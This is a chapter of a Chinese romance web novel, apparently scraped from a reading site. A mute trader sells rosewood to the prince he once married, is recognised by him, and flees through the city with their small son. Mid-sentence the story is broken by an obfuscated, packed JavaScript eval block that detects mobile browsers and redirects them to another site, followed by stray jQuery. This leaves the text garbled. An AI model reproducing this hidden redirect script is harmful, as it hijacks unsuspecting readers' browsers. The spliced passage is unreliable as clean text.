默认冷灰
24号文字
方正启体

7. 3.找到你了

作者:Shim97本书字数:K更新时间:
    是他。


    是他……


    哑巴的大脑一片空白,唯有这道熟悉的声音久久回响。


    昭文带着人从雅间出来,就见几名壮硕的船员戴着斗笠披着蓑衣扛着一大棵南叶紫檀进来,吭哧吭哧将檀木小心地卸在了铺子正中。


    他命人验货,正仔细打量这棵南叶紫檀时,耳朵忽而敏锐地动了动。


    哒,哒。


    不同寻常的脚步声。


    昭文抬起头,看向刚刚走进铺子的人,是个高大挺拔的青年,披着蓑衣,斗笠遮住了上半张脸,下半张脸蒙着靛蓝色的细布,一直缠到脖子,遮得严严实实,看不清面容。


    昭文眯了眯眼。


    气息内收,丝毫不露,下盘极稳,步履有力,这是个绝顶高手。


    他打量着这人的时候,此人却略低了低头,斗笠完全遮住了面庞,像是回避他的视线。


    高手之间,这样的回避便是表明无意起冲突,昭文再看下去就显得失礼了,他收回视线,询问手下:“如何?”


    “的确是南叶紫檀,树龄足有千年。”


    昭文点点头,进屋去了。


    哑巴轻轻松了一口气。


    刘掌柜在旁高兴得直搓手,把他拉到一边小声商量:“哎呀哎呀,这回可要赚大发了!哑巴,这回我给你拉来这么大一单,你怎么也得多分我一点儿,原先才分我一成,太少了,分我二成怎么样?我帮你谈个高价。”


    哑巴胡乱点点头。


    就在这时,雅间的屋门被人推开,昭文的声音传来:“爷,南叶紫檀在此,请您过目。”


    那一瞬间,哑巴的呼吸都停滞了。


    咚咚,咚咚。


    心跳声震耳欲聋,他整个人都像定在了原地,僵硬得无法动弹,连抬起头往那边看一眼都做不到。


    他的眼睛只直直地盯着地面,直到视线中出现一双皂靴。


    “……应当够塑一尊等身像了。”


    熟悉的声音,这个他想尽办法逃避,却又日思夜想的人,就近在眼前。


    哑巴鼻子一酸,眼眶就热了。


    殿下。


    他在心里默默地,像以前那样地,轻轻唤了一声。


    像是听到了这一声呼唤,祝时瑾忽而转头看过来。


    哑巴的身子瞬间绷紧了。


    他、他认出来了?


    他不知道那一刻自己是期待更多还是害怕更多,只知道心跳得快要冲出喉咙——


    “开个价。”


    他在对他说话。


    震天的心跳声几乎让哑巴脑中一片空白,他居然真的下意识尝试开口,可是无力的喉咙只是徒劳地震颤了一下。


    “爷,爷,他是船队首领,不跟客人直接交易,我来帮您问价。”刘掌柜在旁开口,像个重重的巴掌扇在脸上,一瞬间把他从梦境扇回了现实。


    他哑了,说不了话了。


    就算站在世子殿下面前,他都无法开口再叫一声殿下了。


    口不能言,算是半残废,连活计都很难找。从前身体健全的时候,尚且不配站在殿下身边,更何况现在这副落魄的残废之躯?


    他把脑袋更加埋下去,用斗笠深深遮住自己的脸,遮住自己这丑陋的模样,遮住自己淌着血的、卑微的心。


    刘掌柜拿衣袖挡住,同他打手语,他勉强比划了几下,刘掌柜就笑着说:“他开七千两,爷,您看如何?”


    哑巴没有加价,报的是五千两,听到刘掌柜张口就报七千两,不由愣了愣,看了刘掌柜一眼。


    就在他转头的一瞬间,世子殿下的目光扫了过来。


    哑巴立刻把头埋下去,不动了。


    祝时瑾的目光却依然落在他身上。


    无人做声,气氛有些微妙,刘掌柜见贵客不说话,有点儿忐忑,忙道:“爷,七千两买这么大一株南叶紫檀,您可算买着了!这南叶紫檀啊,有时候开出天价都买不着……”


    祝时瑾收回目光,揉了揉眉心:“……就七千两。”


    昭文拿出银票,和刘掌柜签下买卖文书,掌柜乐颠颠点着银票,把哑巴拉去后院商量,哑巴低着头快步走过,擦身而过时,殿下似乎又看了他一眼。


    他心里打着鼓,脚步飞快,跨进了后院。


    “……殿下,殿下?”


    昭文唤了好几声,祝时瑾才回过神来,昭文忙道:“南叶紫檀已经装上车了,是不是现在运往宜州?还有,刚刚蹲守的暗卫来报,小公子的亲生父亲也回来了,咱们要不要现在登门拜访,然后带上小公子动身回宜州?”


    祝时瑾一言不发。


    昭文瞅着他,不知道自己这提议有哪里不妥,心里不免打起鼓来。


    后院,刘掌柜把哑巴拉到一边,一张一张细细核验了银票,才说:“这回我可帮你赚了大钱了,分我二千两,不过分罢?”


    刚刚他说的还是二成,二成就是一千四百两,短短片刻,竟又涨了几百两。


    哑巴皱了皱眉,正要打手语,刘掌柜的眼神瞟到他后面,忙摆出笑脸:“贵客,您怎么进来了?”


    哑巴心中没来由地咯噔一下,没心思掰扯分账的事儿了,瞬间从刘掌柜手中抽走五千两银票,刘掌柜忙攥紧剩下的两千两银票,捧着笑脸同走过来的祝时瑾点头哈腰:“爷,您还有什么吩咐?”


    哑巴把银票塞进胸口的内袋,低着头,斗笠把脸挡得严严实实。


    他能感觉到殿下的目光直直盯着他,可是殿下认不出来的,他蒙着脸,戴着斗笠,披着蓑衣,这些年他也瘦了黑了,就是他爹娘现在站在面前,也认不出他来。


    半晌,祝时瑾道:“这桩买卖该我和他签契。昭文,拿契书来,重新签。”


    哑巴的心咚咚狂跳起来。


    难道、难道殿下发现了?


    他写字奇丑无比,殿下曾经握着他的手教过他,可仍然没有半点长进,不,不,现在不是想这个的时候,他该在契书上签什么名字?


    契书递到了他面前,那上面已经写上了端正劲秀的“祝时瑾”三个字,哑巴咽了口唾沫,提起毛笔——


    “顾砚舟。”祝时瑾忽而开口,那声音带着不易察觉的颤抖,“握笔又错了。”


    那一瞬间,仿佛闷雷炸响,顾砚舟掉头就往外冲!


    这短短片刻,本以为早就死在海底的世子妃竟然重现人世,昭文简直惊呆了,眼睁睁看着顾砚舟冲出去,殿下反而比他反应要快些,立刻道:“追!”


    昭文反应过来:“是!”


    马蹄踏过泥泞的小路,一行带刀侍卫在狂风骤雨中飞快行进,很快赶到小院将院子团团围住,不多时,一驾马车停在了小院门口。


    这间小院,正是他们一直派人暗中护卫着的,殿下一眼相中打算收养的孩子果儿住的小院,现在看来,果儿正是顾砚舟坠海时已怀上的,殿下的亲生孩子。


    原来一切都是冥冥之中早有注定。


    昭文撑起油纸伞,扶祝时瑾下了马车,再去敲院门,不多时,一名婆子出来开了门,被门外这阵仗吓了一跳:“你、你们……”


    昭文往院中一看,小小的院子一览无余,除了婆子再无一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176944|196898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人。


    他面色一变:“这家的主人和孩子呢?”


    婆子道:“你们来得不巧,他们刚刚走。”


    昭文头皮发麻,简直不敢去看殿下的脸色,刚刚找到的世子妃和小公子,居然又不见了……


    可是殿下今日的脾气好得出奇,语气竟然还带点儿笑意:“他没那么容易被抓到。封锁全城,挨家挨户找。”


    他走进这间妻儿蜗居了好几年的破败小院,见廊下还有仓促中没能带走的孩童玩具,便捡起一只小风车,轻轻一吹。


    小风车滴溜溜转起来,光影明灭,投在他上扬的嘴角。


    “你还活着。”他轻声道,“找到你了。”


    ……


    天色一点一点暗下来,暴雨如注,街上行人寥寥,一名戴着斗笠披着蓑衣的高大男子抱着个小娃娃在暴雨中疾行,草鞋在青石板上啪嗒啪嗒踩过。


    果儿穿着小小的蓑衣,在他怀里小声问:“爹爹,我们要去哪儿?为什么一直在城里打转?”


    顾砚舟摸了摸他的小脑袋,目光黯淡。


    城门被封锁了,城中也突然多了大批人马在挨家挨户搜寻。


    是殿下。


    他心中苦笑一声。


    殿下为什么还要大费周章来抓他们呢?


    他现在只是个连话都说不了的半残,对殿下而言毫无价值,果儿也只是个坤君,无法继承世子之位,殿下来日娶了新世子妃,总会生下小世子的。


    为什么还要穷追不舍?


    果儿窝在他怀里,看了看天色,小声说:“天都黑了,爹爹,我好饿。”


    他们在城中东躲西藏一整天了,午饭和晚饭都没吃,大人可以扛,这么小的孩子却扛不住饿,果儿的肚子已经饿得咕噜咕噜直叫了。


    顾砚舟愧疚极了,果儿很听话,饿了也不会哭闹,他没能给果儿衣食无忧的生活,还叫孩子跟着他东躲西藏、忍饥挨饿。


    如果跟着殿下,他可以在王府过锦衣玉食的生活……


    他闭了闭眼,在心中摇摇头打消这个念头——以后殿下娶了新世子妃,生了其他孩子,果儿又该如何自处?


    [爹爹带你去吃肉包子。]


    果儿双眼一亮:“好!”


    顾砚舟抱着他穿过小巷,避开人群,谨慎而迅速地在熟悉的巷弄中穿梭,很快来到了小巷与大街的交叉处,观察片刻,确认附近并无搜查的侍卫,才走到岔路口旁的一家包子铺。


    包子的香味钻进鼻子,果儿兴奋得手舞足蹈,穿着小小的蓑衣戴着小斗笠像个小稻草人,两手接过爹爹递来的一个大肉包子,趴在爹爹肩上,啊呜一声咬了一口。


    “好香啊,好好吃。爹爹你也吃。”果儿伸长小手把咬了一口的肉包子递到爹爹嘴边。


    顾砚舟微微一笑,躲藏奔逃一整天,肩上的伤有些崩裂,一直隐隐作痛,但他没有表露,装作咬了一口包子,抱着孩子往回走,果儿心满意足,收回肉包子继续吃。


    吃得正香,果儿忽而看见一驾熟悉的马车疾驰而来,车窗开着,与他们擦身而过时,窗中一道熟悉的身影。


    果儿睁大眼睛:“爹爹快看!”


    这一道清亮的童声,让立在街旁和坐在车中的人都一下子转过头来。


    猝不及防,四目相对。


    一道闪电划过夜色,照亮了彼此魂牵梦绕日思夜想的熟悉脸庞。


    两张错愕、仓皇的脸。


    果儿顶着歪歪的小斗笠,一只小手抓着肉包,另一只小手指着马车,天真地笑:“爹爹,他就是有钱叔叔!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)